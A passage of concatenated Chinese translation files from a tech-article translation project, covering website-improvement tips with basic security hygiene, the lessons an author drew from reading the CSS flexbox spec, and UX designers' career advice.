等社交网站传播时使用的图片。当用户看到和博客有所关联的某类型的图片时,他们会联想到文章可能是你写的。 4. 给你自己和你的团队的每个成员显示一张自定义的 `头像插图或者漫画`。相比于聘请专业的摄影师,自定义的漫画成本较低,特别是当你的团队增加新成员的时候。此外,对于新成员来说这也是一份不错的礼物。 5. `自定义图表` 以可视化的方式显示数据和其他内容,相比于同类的博客文章,更容易获取更多流量。人们更喜欢在 Pinterest 这样的网站上分享图表,或者是带着你的站点的反向链接并转发到他们自己的网站上。 6. 如果你创作了一个甚至一系列的视频,你应该拥有一个 `定制的视频开场部分和/或结尾部分`,让大家感受到视频是专业的。不要提及其它的视频画面或者动画,可以帮助你的品牌更加突出。 ### 酷炫的 Web 安全性 1. 安装 `SSL 证书`,以允许服务器端和浏览器之间建立安全连接。如果网站用到银行卡支付功能,大部分的检测软件都要求使用 SSL 证书。Google 称,用上 SSL 证书可以帮助提高网站的搜索排行。 2. 你用到的软件和插件要 `保持最新版本`。Wordpress 和其它 CMS 软件都会释放更新,通常是为了修复漏洞。如果你没有及时更新,你的网站被攻击也就是迟早的事情了。 3. 为管理员页面设置 `双认证登录`。大部分的黑客入侵都是从登录页开始的。 4. 检查并 `删除恶意软件`。如果你的网站曾经被入侵,黑客很可能会留下一些不容易发现的后门。如果你没有及时删除,你的网站可能会被谷歌列入黑名单,大大降低你的网站排行,并在用户打开网站时,警告用户离开。 5. 不要把 `管理员账号` 称为 “admin”。删除默认的管理员账号,并创建一个使用其他名字的新账号。 6. 定期 `备份数据库和网站文件`。大部分备份软件和插件都只备份你的数据库,里面包括了数据和内容。但如果你把整个网站都丢了,你还需要文件内容的备份来还原网站。 ### 酷炫的内容 1. 创建一个自定义 `错误 404` 页面,当用户尝试访问不存在的地址时,这个页面就会显示出来。可以使用 404 页面把他们引导到首页,并帮助他们寻找他们想要的页面。 2. 除了主页之外,`关于页面` 可能是用户最常访问的页面了。要确保这个页面能够很好地代表你和你的公司。 3. `联系方式页` 帮助用户找到你,而且还能够建立你和访客甚至 Google 之间的信赖。当决定站点排名时,机器会寻找你的联系方式,然后找到邮箱地址、电话号码和地址。联系信息告诉 Google,这个站点更加值得信赖一点。 4. 在战略上,站点里拥有选填的表单是正确的,然而建立一个 `准顾客收集页面` 的想法也不错,除了一个高转化率的选填表格什么也不用放。当你希望用户提交信息时,链接到该页面就行了。 5. 当用户订阅你的列表时,确保你可以给他们一个 `确认页面`,让他们可以确认邮箱地址。假如用户不能确认邮箱是否正确,他们可能就会把事情给忘了,然后再也不会回来你的站点了。 6. 在点击邮箱里的确认链接后,给用户发送一个 `感谢页面` 让他们知道下一步可以做什么。这个页面是每个订阅者都能看见而且只能看见一次的,因此这是一个绝佳机会鼓励用户去掏腰包购买内容。 7. 你的网站或者主题应该有一个 `着陆页` 模板,当你需要用户进行特定操作时,可以用上。 8. 如果你在网站上买东西,确保你有一个漂亮的 `销售页面`。从大字标题开始;为你的卖场留出足够空间;有可能的话做一个介绍视频;在页面底部指引用户如何购买。 ### 酷炫的社交媒体 1. 在你的文章和页面上,限制 `社交媒体按钮的数量`,因为每个按钮都会运行相关的脚本,额外增加页面加载时间。通常包含 1-5 个按钮比较合适,比如 Facebook、Twitter、LinkedIn、Pinterest、Google+ 等,这些网站是你的内容最容易被分享的地方。 2. 在你的 Facebook 页面、Twitter 账号、YouTube 频道上创建 `社交媒体的图片`。对于第一次访问的用户,自定义的图片可以给予他们良好的第一印象,并鼓励他们点赞、关注、订阅你的页面、个人档和频道。 3. 设置 `Facebook Open Graph META 标签` 以确保你的内容被分享到 Facebook 时可以正常显示内容。可以使用 [Facebook Debugger](https://developers.facebook.com/tools/debug/) 检查你的主页、文章和其它页面,并看到当别人把 URL 分享出去的时候是什么样子的。 4. 设置 `Twitter Cards`,目的是当你的站点 URL 被分享到 Twitter 时,丰富的图片和视频资源可以显示到卡片上。要开始使用 `Twitter Cards` 可以 [点击这里](https://dev.twitter.com/cards/getting-started) 5. 设置 `Google+ Snippets`,以自定义用户分享站点到 Google+ 时看见的内容。你可以使用 [Snippet 指南](https://developers.google.com/+/web/snippet/) 生成相关代码。即使你的网站在 Google+ 没那么受欢迎,Google 也可以知道你正确地添加了 meta 信息,从而带来一定的权重加成。 6. `弱化那些链接到个人档的社交媒体图标`,可以让图标变小或者放在页面底部。其实社交媒体营销的目的就是把用户导流到你的网站来,而不是反过来作用。 好了,我还有什么遗漏的吗?作为自由职业者或者老板,你有没有尝试过使用上述方法让网站变得酷炫呢? 期待你的回复,可以在原文留言或者在推特上联系 [@wntart](https://twitter.com/wntart)。 如果你希望更多人看见这个列表,不妨推荐这篇文章给大家。让我们一起把网站变得更加酷炫! 加油!尼克 P.S. 如果你需要有人帮忙完成列表上的事情,可以在这里寻找[设计师](https://www.awesomeweb.com/skill/web-design)、[开发者](https://www.awesomeweb.com/skill/web-development),或者[发布你的招聘广告](https://www.awesomeweb.com/why-post-a-job)。我们拥有世界上最好的自由职业者,他们非常乐意帮助你! 如果你也希望加入 AwesomeWeb 成为一名自由职业者,并认识更多客户,可以[点击这里注册](https://www.awesomeweb.com/signup)。 ================================================ FILE: TODO/11-things-i-learned-reading-the-flexbox-spec.md ================================================ > * 原文地址:[11 things I learned reading the flexbox spec](https://hackernoon.com/11-things-i-learned-reading-the-flexbox-spec-5f0c799c776b) > * 原文作者:本文已获原作者 [David Gilbertson](https://hackernoon.com/@david.gilbertson) 授权 > * 译文出自:[掘金翻译计划](https://github.com/xitu/gold-miner) > * 译者:[XatMassacrE](https://github.com/XatMassacrE) > * 校对者:[zaraguo](https://github.com/zaraguo),[reid3290](https://github.com/reid3290) # 读完 flexbox 细则之后学到的 11 件事 在经历了多年的浮动布局和清除浮动的折磨之后,flexbox 就像新鲜空气一般,使用起来是如此的简单方便。 然而最近我发现了一些问题。当我认为它不应该是弹性的时候它却是弹性的。修复了之后,别的地方又出问题了。再次修复之后,一些元素又被推到了屏幕的最右边。这到底是什么情况? 当然了,最后我把它们都解决了,但是黄花菜都凉了而且我的处理方式也基本上没什么规范,就好像那个砸地鼠的游戏,当你砸一个地鼠的时候,另一个地鼠又冒出来,很烦。 不管怎么说,我发现要成为一个成熟的开发者并且真正地学会 flexbox 是需要花时间的。但是不是再去翻阅另外的 10 篇博客,而是决定直接去追寻它的源头,那就是阅读 [The CSS Flexible Box Layout Module Level 1 Spec](https://www.w3.org/TR/css-flexbox-1/)。 下面这些就是我的收获。 ### 1. Margins 有特别的功能 我过去常常想,如果你想要一个 logo 和 title 在左边,sign in 按钮在右边的 header ... ![](https://cdn-images-1.medium.com/max/800/1*Y1xY5s_DFPRaZzTwpfb_WQ.png) 点线为了更清晰 ... 那么你应该给 title 的 flex 属性设置为 1 就可以把其他的条目推到两头了。 ``` .header { display: flex; } .header .logo { /* nothing needed! */ } .header .title { flex: 1; } .header .sign-in { /* nothing needed! */ } ``` 这就是为什么说 flexbox 是个好东西了。看看代码,多简单啊。 但是,从某种角度讲,你并不想仅仅为了把一个元素推到右边就拉伸其他的元素。它有可能是一个有下划线的盒子,一张图片或者是因为其他的什么元素需要这样做。 好消息!你可以不用说“把这么条目推到右边去”而是更直接地给那个条目定义 `margin-left: auto`,就像 `float: right`。 举个例子,如果左边的条目是一张图片: ![](https://cdn-images-1.medium.com/max/800/1*hFLefXP4fsgnFDIjPIcrTQ.png) 我不需要给图片使用任何的 flex,也不需要给 flex 容器设置 `space-between`,只需要给 'Sign in' 按钮设置 `margin-left: auto` 就可以了。 ``` .header { display: flex; } .header .logo { /* nothing needed! */ } .header .sign-in { margin-left: auto; } ``` 你或许会想这有一点钻空子,但是并不是,在 [概述](https://www.w3.org/TR/css-flexbox-1/#overview) 里面**这个**方法就是用来将一个 flex 条目推到 flexbox 的末端的。它甚至还有自己单独的章节,[使用 auto margins 对齐](https://www.w3.org/TR/css-flexbox-1/#auto-margins)。 哦对了,我应该在这里添加一个说明,在这篇博客中我会假设所有的地方都设置了 `flex-direction: row`。但是对于 `row-reverse`,`column` 和 `column-reverse` 也都是适用的。 ### 2. min-width 问题 你或许会想一定有一个直截了当的方法确保在一个容器中所有的 flex 条目都适应地收缩。当然了,如果你给所有的条目设置 `flex-shrink: 1`,这不就是它的作用吗? 还是举例说吧。 假设你有很多的 DOM 元素来显示出售的书籍并且有个按钮来购买它。 ![](https://cdn-images-1.medium.com/max/800/1*kx1Xl4o5at3whroR9gB0Dw.png) (剧透:蝴蝶最后死了) 你已经用 flexbox 安排地很好了。 ``` .book { display: flex; } .book .description { font-size: 30px; } .book .buy { margin-left: auto; width: 80px; text-align: center; align-self: center; } ``` (你想让 'Buy now' 按钮在右边,即使是很短的标题的时候,那么你就要给他设置 `margin-left: auto`。) 这个标题太长了,所以他占用了尽可能多的空间,然后换到了下一行。你很开心,生活真美好。你洋洋得意地将代码发布到生产环境并且自信地认为没有任何问题。 然后你就会得到一个惊喜,但不是好的那种。 一些自命不凡的作者在标题中用了一个很长的单词。 ![](https://cdn-images-1.medium.com/max/800/1*skXsBLXnoul3J64xKb1HmA.png) 那就完了! 如果那个红色的边框代表手机的宽度,并且你隐藏了溢出,那么你就失去你的 'Buy now' 按钮。你的转换率,可怜的作者的自我感觉都会遭殃。 (注:幸运的是我工作的地方有一个很棒的 QA 团队,他们维护了一个拥有各种类似于这样的令人不爽的文本的数据库。也正是这个问题特别的促使我去阅读这些细则。) 就像图片展示的那样,这样的表现是因为描述条目的 `min-width` 初始被设置为 `auto`,在这种情况下就相当于 **Electroencephalographically** 这个单词的宽度。这个 flex 条目就如它的字面意思一样不允许被任何的压缩。 那么解决办法是什么呢?重写这个有问题的属性,将 `min-width: auto` 改为 `min-width: 0`,给 flexbox 指明了对于这个条目可以比它里面的内容更窄。 这样就可以在条目里面处理文本了。我建议包裹单词。那么你的 CSS 代码就会是下面这个样子: ``` .book { display: flex; } .book .description { font-size: 30px; min-width: 0; word-wrap: break-word; } .book .buy { margin-left: auto; width: 80px; text-align: center; align-self: center; } ``` 这样的结果就是这个样子: ![](https://cdn-images-1.medium.com/max/800/1*lM96U8XNZJEGPrVwqJk91w.png) 重申一下,`min-width: 0` 不是什么为了特定结果取巧的技术,它是[细则中建议的行为 ](https://www.w3.org/TR/css-flexbox-1/#min-size-auto)。 下个章节我会处理尽管我明确写明了但是 ‘Buy now’ 按钮仍然不总是 80px 宽的问题。 ### 3. flexbox 作者的水晶球 就像你知道的,`flex` 属性其实是 `flex-grow`,`flex-shrink` 和 `flex-basis` 的简写。 我必须承认为了达到我想要的效果,我在不停地尝试和验证这三个属性上面花费了很多时间。 但是直到现在我才明白,我其实只是需要这三者的一个组合。 - 如果我想当空间不够的时候条目可以被压缩,但是不要伸展,那么我们需要:`flex: 0 1 auto` - 如果我的条目需要尽可能地填满空间,并且空间不够时也可以被压缩,那么我们需要:`flex: 1 1 auto` - 如果我们要求条目既不伸展也不压缩,那么我们需要:`flex: 0 0 auto` 我希望你还不是很惊奇,因为还有让你更惊奇的。 你看,Flexbox Crew (我通常认为 flexbox 团队的皮衣是男女都能穿的尺寸)。对,Flexbox Crew 知道我用得最多的就是这三个属性的组合,所以他们给予了这些组合 [对应的关键字](https://www.w3.org/TR/css-flexbox-1/#flex-common)。 第一个场景是 `initial` 的值,所以并不需要关键字。`flex: auto` 适用于第二种场景,`flex: none` 是条目不伸缩的最简单的解决办法。 早就该想到它了。 它就好像用 `box-shadow: garish` 来默认表示 `2px 2px 4px hotpink`,因为它被认为是一个 ‘有用的默认值’。 让我们再回到之前那个丑陋的图书的例子。让我们的 'Buy now' 按钮更胖一点... ![](https://cdn-images-1.medium.com/max/800/1*oaBk_GjcSHAvSkdhJhwkSA.png) ... 我只要设置 `flex: none`: ``` .book { display: flex; } .book .description { font-size: 30px; min-width: 0; word-wrap: break-word; } .book .buy { margin-left: auto; flex: none; width: 80px; text-align: center; align-self: center; } ``` (是的,我可以设置 `flex: 0 0 80px;` 来节省一行 CSS。但是设置为 `flex: none`可以更清楚地表示代码的语义。这对于那些忘记这些代码是如何工作的人来说就友好多了。 ) ### 4. inline-flex 坦白讲,几个月前我才知道 `display: inline-flex` 这个属性。它会代替块容器创建一个内联的 flex 容器。 但是我估计有 28% 的人还不知道这件事,所以现在你就不是那 28% 了。 ### 5. vertical-align 不会对 flex 条目起作用 或者这件事我并不是完全的懂,但是从某种意义上我可以确定,当使用 `vertical-align: middle` 来尝试对齐的时候,它并不会起作用。 现在我知道了,细则里面直接写了,[vertical-align 在 flex 条目上不起作用](https://www.w3.org/TR/css-flexbox-1/#flex-containers)” (注意:就好像 `float` 一样)。 ### 6. margins 和 padding 不要使用 % 这并不仅仅是一个最佳实践,它类似于外婆说的话,去遵守就好了,不要问为什么。 "开发者们在 flex 条目上使用 paddings 和 margins 时,应该避免使用百分比" — 爱你的,flexbox 细则。 下面是我在细则里面看到的最喜欢的一段话。 > 注解:这个变化糟透了,但是它精准地抓住了世界的当前状态(实现无定法,CSS 无定则) > 当心,糖衣炮弹进行中。 ### 7. 相邻的 flex 条目的边缘不会塌陷 你或许知道有时候会出现相邻条目的边缘塌陷。你或许也知道其他的时候**不会**出现边缘塌陷。 现在我们都知道相邻的 flex 条目是不会发生边缘塌陷的。 ### 8. 即使 position: static,z-index 也会有效 我不确定我是否真的在乎这一点。但是我想到或许有一天,它就会真地有用。就好像我冰箱里有一瓶柠檬汁。 某一天我家来了其他人,然后他会问:"嗨,你这里有柠檬汁吗?",我这时就会告诉他:"有的,就在冰箱里",他会接着说:"谢谢,大兄弟。那么如果我想给一个 flex 条目设置 z-index,我需要指定 position 吗?",我会说:"兄弟,不需要,flex 条目不需要这样。" ### 9. Flex-basis 是精细且重要的 一旦 `initial`,`auto` 和 `none` 都不能满足你的需求时,事情就有点复杂了,但是我们**有** `flex-basis`,有趣的是,你知道的,我不知道怎么结束这句话。如果你们有好的建议的话,欢迎留言。 如果你有 3 个 flex 条目,它们的 flex 值分别为 3,3 和 4。那么当 `flex-basis` 为 `0` 的话它们就会忽略他们的内容,占据可用空间的 30%,30%,40%。 然而,如果你想要 flex 更友好但是有点不太可预测的话,使用 `flex-basis: auto`。这个会将你的 flex 的值设置得更合理,同时也会考虑到一些其他因素,然后为你给出相对合理的宽度。 看看这个很棒的示意图。 ![](https://cdn-images-1.medium.com/max/800/1*eiAn12jGzun4F7U3mfqUtQ.png) 我十分确定我读到的关于 flex 的博客中至少有一篇提到了这一点,但是我也不知道为什么,直到我看到上面这张图才想起来。 ### 10. align-items: baseline 如果我想让我的 flex 条目垂直对齐,我总是使用 `align-items: center`。但是就像 `vertical-align`一样,这样当你的条目有不同的字体大小并且你希望它们基于 baselines 对齐的时,你需要设置 `baseline` 才能对齐的更完美。 `align-self: baseline` 也可以,或许更直观。 ### 11. 我很蠢 下面这段话不论我读几遍,都无法理解它的含义... > 在主轴上内容大小是最小内容大小的尺寸,并且是加紧的,如果它有一个宽高比,那么任何定义的 min 和 max 的大小属性都会通过宽高比转换,并且如果主轴的 max 尺寸是确定的话会进一步加紧。 这些单词通过我的眼睛被转化成电信号穿过我的视神经,刚刚抵达的时候就看到我的大脑打开后门一溜烟跑了。 就像米老鼠和疯狂麦克斯 7 年前生了个孩子,现在和薄荷酒喝醉了,使用他从爸爸妈妈吵架时学到的语言肆意的辱骂周围的人。 女士们,先生们,我已经放弃了体面开始胡言乱语了,这意味着你可以关闭这篇文章了(如果你看这个是为了学习的话你可以在这里停止了)。 读这篇细则我学到的最有趣的事情是,尽管我看过大量的博文,以及 flexbox 也算是相对简单的知识点,但是我对其的了解曾是那么的不彻底。事实证明 '经验' 不总是起作用的。 我可以很开心的说花时间来阅读这些细则已经得到了回报。我已经优化的我的代码,设置了 auto margins,flex 的值也设置成了 auto 或者 none,并在需要的地方定义了 min-width 为 0。 现在这些代码看起来好多了,因为我知道这样做是正确的。 我的另外一个收获就是,尽管这些细则在某些方面正如我所想的基于编者视角并有些庞杂,但是仍然有有很多友好的说明和例子。甚至还高亮了那些初级开发者容易忽略的部分。 然而,这个是多余的,因为我已经告诉了你所有有用知识点,你就不用再自己去阅读了。 现在,如果你们要求,那么我会再去阅读所有其他的 CSS 细则。 PS:我强烈建议读读这个,一个浏览器 flexbox bugs 的清单:[https://github.com/philipwalton/flexbugs](https://github.com/philipwalton/flexbugs). --- > [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区,文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[React](https://github.com/xitu/gold-miner#react)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计) 等领域,想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)。 ================================================ FILE: TODO/11-top-designers-give-11-pieces-of-realistic-ux-advice.md ================================================ * 原文链接 : [11 Top Designers Share Honest Career Advice](https://studio.uxpin.com/blog/11-top-designers-give-11-pieces-of-realistic-ux-advice/) * 原文作者 : [Roger Huang] * 译文出自 : [掘金翻译计划](https://github.com/xitu/gold-miner) * 译者 : [Adam Shen](https://github.com/shenxn) * 校对者: [joyking7](https://github.com/joyking7),[circlelove](https://github.com/circlelove) # 11个顶级设计师分享他们的职业建议 优秀的设计者是终生学习者。 在 [Springboard](http://springboard.com),我们将 UX(User Experience 即用户体验) 以及数据科学的导师和学习者配对,这有助于我们听从前辈的意见。 在我们免费的[用户体验职业引导 - Guide to UX Careers](https://www.springboard.com/guide-to-ux-design-careers/) 中,我们汇总了许多领域内顶尖从业者的建议。 我们采访了11位厉害的 UX 设计师,询问了他们的设计灵感,并且也让他们给其他从业者提了一些 UX 方面的建议。 我们与 [UXPin](https://www.uxpin.com/) 的团队合作为你带来了以下的见解。 ## 1\. [**Paul Boag**](https://twitter.com/boagworld) 作为一个网站设计代理商 [Headscape](http://headscape.co.uk/)(雀巢、麦克米伦、以及一些英国的大学都是他们的客户) 的联合创始人,Paul 从事网站相关工作已经二十多年了。他同时也是一个发表了大量作品的作家和演说家。 ![image05](https://studio.uxpin.com/wp-content/uploads/2016/02/image052.png) ### **设计灵感** 我最喜欢的设计就是原始版本的[伦敦地铁图](http://www.theverge.com/2013/3/29/4160028/harry-beck-designer-of-iconic-london-underground-map)。 它打破常规的设计使之具有相当的开创性。它抛弃了呈现真实距离和地点的传统,这样,他们就可以将复杂的地铁网络用非常简单的方式呈现出来。对我来说,这就是一个优秀的设计应该要做到的:从一个不同的角度切入以使用简单的方式去表达复杂的东西。 ![image11](https://studio.uxpin.com/wp-content/uploads/2016/02/image11.png) ### **职业建议** 老实说,我绝对不会给年轻的我任何意见,因为我知道我一定不会听的。 即使我听从了,我也不会像我自己发现一样学到那么多。学习任何事的最好方法都是从错误中学习,所以我不希望让年轻的我失去这个机会。就像 Winston Churchill 曾经说过的:“成功就是不断失败而热情不减。” 不要听从任何人,犯你自己的错,当你失败的时候,爬起来,再试一次。 ## 2\. [**Eva Kaniasty**](https://twitter.com/kaniasty) Eva 运营着她自己在波士顿的公司 [Red Pill UX](http://www.redpillux.com/)。她同时也是 [UXPA](http://www.upaboston.org/) 的主席。 ![image14](https://studio.uxpin.com/wp-content/uploads/2016/02/image14.png) ### **设计灵感** 我最近发现了 [多邻国](https://www.duolingo.com/),一个在线语言学习平台 我喜欢它的 UX 有很多的原因。它的用户界面非常简洁、有趣且具有激励性。许多应用试图结合游戏性以及社区,只是因为这样做很酷,这最终导致这些功能就像是后来加入的。而多邻国在课程中完美运用游戏元素和多样化的课程来吸引用户。 ![image12](https://studio.uxpin.com/wp-content/uploads/2016/02/image12-1024x662.png) 我也很喜欢它的语言沉浸功能,用户可以在翻译上相互合作。记忆和重复是语言初学者总是要经历的阶段,但这总让人感到无趣。而多邻国在这方面的尝试非常有创意。 我总是觉得我们消费者应用的创新上已经到达了某种意义上的高处,所以还能见到一些很新鲜的同时也很合适的创意让人感到非常惊喜。 ### **职业建议** 要知道在像 UX 这样需要合作的职业中,人远比技能重要。如果你有研究和设计的天分,你迟早都能学会这些技能。但是人际关系会很大程度上影响你职业的成败。 当我把最初的职业变成高科技的时候,我知道很少有人跟我在做一样的事。当我回到学校,在 Bentley University 学习人为因素工程(Human Factors)的时候,我感觉像是进入了一个全新的世界。当然,这很大程度上是由于学到的东西,但是能在那里遇到那么多人也很有意义。 现在我依然在参与当地的 UX 专家协会(UXPA)分会活动,当我现在开始做独立咨询的时候,那个团体甚至变得更重要了。所以尽可能去与那些跟你一样对用户体验富有热情的人交流,并且去询问他们的意见。 ## 3\. [**Mike Kus**](https://twitter.com/mikekus) Mike 最初从事平面设计,之后转而做网站设计。他与 Twitter、微软、MailChimp 等公司合作,创造了许多兼顾形式和功能性的用户体验设计。 ![image01](https://studio.uxpin.com/wp-content/uploads/2016/02/image018.png) ### **设计灵感** [Hipopotam Studio](http://hipopotamstudio.pl),我喜欢这个网站以及它纯粹的、富有创意和乐趣的UI。 ![image13](https://studio.uxpin.com/wp-content/uploads/2016/02/image13-1024x525.png) ### **职业建议** 学会将用户界面趋势和实用的设计惯例分开。单单因为一种设计方式当前被广泛使用,不意味着这就是最好的方法。 ## 4\. [**Jack Zerby**](https://twitter.com/jackzerby) Jack 是 [Flavors.me](http://flavors.me/) 和 [Flavors.me](http://flavors.me/) 的联合创始人,[Vimeo](https://vimeo.com/) 的前设计主管。Jack 说在它高中第一次启动 Photoshop 时,就被设计吸引了,同时,他的父亲对他的影响也非常大。现在你可以在 [Workshop](https://thisisworkshop.com/)(一个面向年轻人的企业家培训项目) 上找到他。 ![image15](https://studio.uxpin.com/wp-content/uploads/2016/02/image15.png) ## **设计灵感** 我近来最喜欢的产品体验就是在城区中使用 [ParkMobile 应用](https://play.google.com/store/apps/details?id=net.sharewire.parkmobilev2&hl=en) 我再也不需要在附近花几十分钟的时间寻找熟食店换零钱来支付停车费了,我现在可以直接输入[停车计时表上的数字](http://parkitnyc.com/wp-content/uploads/2011/08/image_parkmobile_meter-279x300.png),设定好预计的停车时间,然后在应用中直接支付停车费。当预计时间快要结束时,应用还会给我发来消息,如果我需要的话,可以直接加钱以延长停车时间。 ![image18](https://studio.uxpin.com/wp-content/uploads/2016/02/image18.png) 流畅而且没有麻烦。 ### **职业建议** 总是去考虑最终呈现给用户的结果以及用户所处的情境:用户需要在怎样的情境中完成哪些任务? 举个例子,我试图在我的车上安装一个自行车架,于是我访问了制造商的网站。我的目标是尽快安装好自行车架并行驶上路。我当前的情形是,我顶着大太阳站在车外,而我的孩子们都在哭,因为他们想要立刻到公园去。 设计的时候应时刻牢记,要试图去理解你的用户。就像是成功的营销一样,要去理解用户遇到的问题、挫折,并且使用他们能听懂的方式去交流。 不要去猜测或是落入设计者的傲慢(这是我们总是在做的)。 ## 5\. [**Laura Klein**](https://twitter.com/lauraklein) Laura 在硅谷做了15年的工程师和设计师。她的目标是帮助创业公司了解他们的用户,从而更快地做出更好的产品。她的书,[UX 精益创业 - UX for Lean Startups](http://www.amazon.com/UX-Lean-Startups-Experience-Research/dp/1449334911),以及她倍受欢迎的设计博客,[Users Know](http://usersknow.blogspot.com/),都告诉了产品所有者他们在做研究和设计的时候,需要了解什么。 ![image06](https://studio.uxpin.com/wp-content/uploads/2016/02/image062.png) ### **设计灵感** 用户体验设计师总是只注意到那些让我们感觉不舒服的设计,我想这大概是一种诅咒吧,又或者只有我是这样的。无论如何,我总是很喜欢任何简单的、与我的生活融为一体的、我甚至不去注意到的那些设计。 ### **职业建议** 寻找两位导师。 第一位导师应该是一个在你关心的领域比你经验丰富并且具有影响力的人。他们会帮助你,给你一些观点,并且教会你被他们那样的人雇佣所必须的技能。 第二位导师应该是比你年长几岁的人。他们会教你做你想做的工作需要知道的东西。我不知道现在那些刚开始做科技相关工作的人的生活是怎么样的,但是我确定那些只要是已经做这个工作几年的人就会有非常深刻的理解。 所以,去寻找两个人:一个帮助你得到下一份工作的人和一个帮你做好下一份工作的人。 ## 6\. [**Joshua Garity**](https://twitter.com/iamlucid) 作为一个设计心理学家和品牌策略家,Joshua 曾与 Wendy's 以及纽约时报等公司合作,帮助它们更好地与顾客交流并增加他们的收入。你可以从[他的博客](http://www.joshuagarity.com/)、[Twitter](https://twitter.com/iamlucid) 以及 [Candorem](http://www.candorem.com/)(他经营的公司) 上看到他所说的东西。 ![image17](https://studio.uxpin.com/wp-content/uploads/2016/02/image17.png) ### **设计灵感** 用户体验存在于我们生活中的方方面面,它已经远远超出数字网络的范围。用户体验应该从与真实媒体或平台交互环境的角度来考虑。 把汽车作为例子。 假设我们在车上的大多数时间都是在驾驶。当我们驾驶的时候,我希望能优先照顾到眼前道路上的情况:保持在自己的车道内行驶,不超速,主语其他车辆,行人和动物。但是我们在车辆中引入了收音机和空调。视线从道路上移开哪怕是不到一秒的时间,都会对在路上的每一个人造成很大的安全威胁。所以,为什么汽车制造商在设计中控板的时候,没有留心它呢?大多数车辆的中控板上都有过多的选项、按钮一级转盘,有些车辆甚至使用触摸屏来改变空调温度或是收音机电台。 如果用户体验是关于交互环境的话,我们需要关注如何简化体验来使用户的主要注意力不会放在那些不良影响上。 一个优秀的设计能够在不需要用户过多思考的情况下就正确地引导他们。 ### **职业建议** 不要轻易满足。活在当下。不要让一个标签定义你,或是限制你的人生目标。试图从一切人和物中寻找答案,即使一开始他们看起来与问题毫无关系。你总是能够变成任何你想要的样子。 ## 7\. [**Kevin M. Hoffman**](https://twitter.com/kevinmhoffman) 在 Seven Heads Design,Kevin 致力于“解决那些你甚至不知道你有的问题” —— 这不仅仅包含了人与电脑的交互,也包含了人与人自己的交互。他的客户包括哈佛大学、任天堂、以及 MTV。你可以在他的[网站](http://kevinmhoffman.com/)以及 [Twitter](https://twitter.com/kevinmhoffman) 上找到他。 ![image04](https://studio.uxpin.com/wp-content/uploads/2016/02/image044.png) ### **设计灵感** 我是整个 Android 系统以及 Google Play 用户体验的粉丝,我最近还爱上了 Android Wear。 当 Android [Kit Kat](http://www.android.com/kitkat/) 版本以及 Nexus 5 发布的时候,我试着开始使用 Android。我认为其中有大量的界面选择都是非常好的。而其中我最喜欢的是其预见性以及[微交互(microinteraction)](http://microinteractions.com/),比如在推送通知上你可以做的不同动作,或者系统将用户所需日程安排无缝整合。 ![image03](https://studio.uxpin.com/wp-content/uploads/2016/02/image035.jpg) 当我第一次发现我可以仅仅使用两次点击就让其他人知道我可能要迟到时,我感觉到“哇!这真的很实用”。最近,我开始使用 Android Wear 手表,仅仅使用了五天的时间它就完全成为我生活中很自然的一部分了。现在当我需要处理一些社交状态时,我只需要时常看一看我的手表,而不需要从口袋中拿出手机来查看并处理消息。 我同样也非常期待 Android Auto。我们还不知道下一代的 iOS 会是什么样的,但就现在来说,我并没有换回 iOS 的想法。 ### **职业建议** “嘿,年轻的我! 你会花一些时间理想化你的长期目标,那会是一个很好的练习。你会考虑你理想的工作、雇主、生活方式、家庭、以及很多其他的事。但是事实上,你在以上这些事情中很少为感到满意,并且你不应该去等待一个完美的状态。 把你的人生用来生活。 最有趣的事,就是描绘那些你不论是否愿意而面对的事实上很小的决定。你的目标应该是做出更好的决定,使得它们能最大化地影响你的人生,而不是选择那些理想化的东西。 此外,尽可能去理解自我怀疑能且仅能帮助你变得谦卑。不要过于严肃地对待你自己。更多地练习,因为你,对于这个年长的我,做了一些什么呢?此外(Also),不要过度使用‘also’这个词。” ## 8\. [**Lis Hubert**](https://twitter.com/lishubert) Lis 曾与很多大大小小的公司合作创造一些科技产品:像 espnw.com 和 nba.com。这些产品都以某种有意义的方式改变着人们的生活。她同时也是 [Future Insights](http://futureinsights.com/) 活动的咨询董事会成员。 ![image10](https://studio.uxpin.com/wp-content/uploads/2016/02/image101.jpg) ### **设计灵感** 我近来最大的设计灵感来源于大城市的公共空间设计,比如我生活的纽约。 我不仅注意到像中央公园这样的大型空间被设计得很好,还发现那些小的公共空间也同样给人带来便利。同时,我还着迷于观察在公园中、以及公园里的运动场和球场上活动的人。我把这样的生态系统当做灵感的原因是,要成功设计这些空间,设计师必须考虑到如此庞大的、多种多样的人群享受其中时的体验。如果设计不当,就很有可能变得拥挤不堪。 ![image16](https://studio.uxpin.com/wp-content/uploads/2016/02/image16.png) 这对我来说,就是在构建用户体验时的目标。去思考,他们是通过怎样的考虑,使得这些公共空间能使用户、拥有者以及设计师都感到满意。 ### **职业建议** 新手们,先冷静下来。 在我们这个领域中工作经常要做的是,我们知道我们工作的重要性,并且我们希望其他人也能知道并且理解这个重要性。所以很多时候我们都在奋力地把我们的想法传达出去。 这当然非常疲惫且令人沮丧。我意识到如此努力地把我的知识灌输给那些其他领域的人并不是主要该做的事。我同时也发现商业团队、技术团队或是其他任何人是否真正理解了我这些做法最深层次的意义并没有什么太大的关系。 唯一重要的是,你对于你可以控制的内容富有热情,做好你负责的部分(如果有必要也可以做更多),来使你的这份热情来到生活中,并且你十分享受于这个过程。 ## 9\. [**Matt Hamm**](https://twitter.com/matthamm) [Twitter](http://www.twitter.com/matthamm). Matt 是英国 [Supereight Studio](http://www.supereightstudio.com) 的联合创始人。他从1998年就开始设计网站了。你可以从[这里](http://www.matthamm.com/portfolio.php)找到他的作品,或是从 [Twitter](http://www.twitter.com/matthamm) 上找到他所说的话。 ![image02](https://studio.uxpin.com/wp-content/uploads/2016/02/image024.png) ### **设计灵感** Dropbox 仍然引领着 UX,其应用的体验是无缝的。 一个优秀的 UX 设计应该是无法被感知的。Dropbox 非常完美的体验带给我很深的印象。设计师重视细节,且有独特的想法,而不是完全凭直觉去复制一些固有的设计模式。 ### **职业建议** 用文档写下所有的事情! 如果一个有序的 UX 